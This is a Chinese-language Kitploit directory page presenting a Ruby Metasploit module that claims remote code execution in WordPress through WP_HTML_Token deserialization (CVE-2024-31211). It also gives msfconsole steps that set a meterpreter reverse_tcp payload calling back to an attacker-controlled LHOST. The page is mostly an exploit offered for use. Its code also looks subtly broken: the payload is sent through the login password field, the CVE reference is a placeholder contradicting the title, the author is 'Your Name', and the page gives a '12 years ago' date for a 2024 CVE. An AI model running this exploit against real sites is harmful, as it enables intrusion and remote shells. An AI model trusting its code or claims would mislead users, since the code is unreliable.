Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
-CVE-2024-31211 — Metasploit模块,利用WordPress WP_HTML_Token反序列化远程代码执行漏洞(CVE-2024-31211),使用精心构造的payload实现任意代码执行。 | Kitploit
工具/GitHubGitHub/abdurahmon3236/-cve-2024-31211
漏洞利用框架漏洞分析代码分析Web应用程序漏洞利用渗透测试Payload 开发
GitHubabdurahmon3236/-cve-2024-31211

-CVE-2024-31211

Metasploit模块,利用WordPress WP_HTML_Token反序列化远程代码执行漏洞(CVE-2024-31211),使用精心构造的payload实现任意代码执行。

查看仓库
12年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

为了创建一个利用 WordPress 中 WP_HTML_Token 类实例反序列化漏洞的 Metasploit 模块,我们将专注于构造一个触发反序列化缺陷的有效载荷,从而实现任意代码执行。

Metasploit 模块

将以下代码保存为 wordpress_wp_html_token_rce.rb,放在 Metasploit Framework 安装目录中的 modules/exploits/multi/http 目录下。

root@kitploit:~
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WordPress WP_HTML_Token Unserialization RCE',
      'Description'    => %q{
        This module exploits a remote code execution vulnerability in WordPress via
        the unserialization of instances of the `WP_HTML_Token` class. This allows for
        code execution via its `__destruct()` magic method.
      },
      'Author'         =>
        [
          'Your Name'  # OneArch
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2024-XXXX'],  # Replace with the correct CVE number
          ['URL', 'https://example.com/advisory']  # Replace with an advisory link if available
        ],
      'DisclosureDate' => 'Aug 03 2024',
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [
        ['WordPress <= 5.x', { }]
      ],
      'DefaultTarget'  => 0,
      'Privileged'     => false,
      'Payload'        =>
        {
          'BadChars' => "\x00",
        }
    ))

    register_options(
      [
        OptString.new('TARGETURI', [true, "The base path to the WordPress installation", '/']),
      ])
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, 'wp-login.php'),
    })

    if res && res.code == 200 && res.body.include?('wp-login.php')
      return Exploit::CheckCode::Appears
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    print_status("Sending payload to trigger unserialization vulnerability")

    serialized_payload = 'O:13:"WP_HTML_Token":1:{s:13:"__destruct";s:' + payload.encoded.length.to_s + ':"' + payload.encoded + '";}'

    post_data = {
      'user_login' => Rex::Text.rand_text_alphanumeric(8..12),
      'user_pass'  => serialized_payload,
      'wp-submit'  => 'Log In',
      'redirect_to' => normalize_uri(target_uri.path, 'wp-admin/'),
      'testcookie' => 1
    }

    send_request_cgi({
      'method'  => 'POST',
      'uri'     => normalize_uri(target_uri.path, 'wp-login.php'),
      'vars_post' => post_data
    })

    handler
  end
end

使用说明

  1. 保存模块: 将模块保存为 wordpress_wp_html_token_rce.rb,放在 Metasploit Framework 安装目录中的 modules/exploits/multi/http 目录下。

    root@kitploit:~
    /path/to/metasploit-framework/modules/exploits/multi/http/wordpress_wp_html_token_rce.rb
    
  2. 加载 Metasploit: 打开终端并运行以下命令启动 Metasploit Framework:

    root@kitploit:~
    msfconsole
    
  3. 使用新模块: 在 Metasploit 控制台中,使用以下命令加载新的漏洞利用模块:

    root@kitploit:~
    use exploit/multi/http/wordpress_wp_html_token_rce
    
  4. 配置并运行: 设置必要的选项,例如 RHOSTS、RPORT、TARGETURI 和 PAYLOAD。然后运行模块。

    root@kitploit:~
    msf6 > use exploit/multi/http/wordpress_wp_html_token_rce
    msf6 exploit(multi/http/wordpress_wp_html_token_rce) > set RHOSTS target_ip
    RHOSTS => target_ip
    msf6 exploit(multi/http/wordpress_wp_html_token_rce) > set TARGETURI /
    TARGETURI => /
    msf6 exploit(multi/http/wordpress_wp_html_token_rce) > set PAYLOAD php/meterpreter/reverse_tcp
    PAYLOAD => php/meterpreter/reverse_tcp
    msf6 exploit(multi/http/wordpress_wp_html_token_rce) > set LHOST your_ip
    LHOST => your_ip
    msf6 exploit(multi/http/wordpress_wp_html_token_rce) > set LPORT 4444
    LPORT => 4444
    msf6 exploit(multi/http/wordpress_wp_html_token_rce) > run
    

重要注意事项

  • 在测试或利用任何系统之前,请确保您拥有适当的权限。
  • 此模块仅供教育和测试目的使用。在生产系统上使用之前,请务必在安全可控的环境中进行测试。

此 Metasploit 模块会向存在漏洞的 WordPress 实例发送一个精心构造的序列化有效载荷,试图触发反序列化漏洞并实现任意代码执行。请根据漏洞的具体性质和目标环境调整有效载荷及模块。

下载工具